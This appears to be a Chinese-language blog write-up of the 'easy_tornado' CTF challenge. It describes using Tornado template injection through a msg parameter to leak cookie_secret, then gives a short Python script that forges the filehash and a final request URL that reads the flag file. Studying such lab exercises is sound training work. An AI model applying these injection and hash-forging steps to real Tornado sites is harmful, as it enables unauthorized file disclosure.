前言

希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面。(ง •_•)ง

easy_tornado

进入题目

看到render就感觉可能是模板注入的东西

hints.txt给出提示,可以看到url中的filehash

呢么意思就是如果知道cookie_secret的话,再结合md5的filename就可以读到/flllllag了把

其实到这里我就没什么思路了,对于render肯定存在模板的问题,百度了一下标题tornado

一搜,render组合tornado,全是这道题的题解,我惊了。。那就看着WP来复现把,而不是自己做出来。。。

随便删除了filehash后,跳到了这个页面。

可以看到msg参数,传入了Error,页面就显示Error,通过一般常用的{{}}来测试

通过查阅Tornado官方文档可以发现cookie_secret存在于RequestHandler中

我们查阅资料发现

cookie_secret在RequestHandler.settings中

官方文档中可以看到,在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象。

结合百度到的一篇WP

得到cookie_secret

计算filehash

import hashlib

def md5(s):
 md5 = hashlib.md5()
 md5.update(s.encode('utf-8'))
 return md5.hexdigest()

def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = 'aeb9007d-917b-43cd-93ad-1ae754d9b8ff'
 print(md5(cookie_secret+md5(filename)))

if __name__ == '__main__':
 filehash() 

payload:

http://b24e5c26-565b-4923-9e20-6cfe231d6d17.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=b4ad157b5e32600203792fc910d6c7a8

  

01-04 02:29
查看更多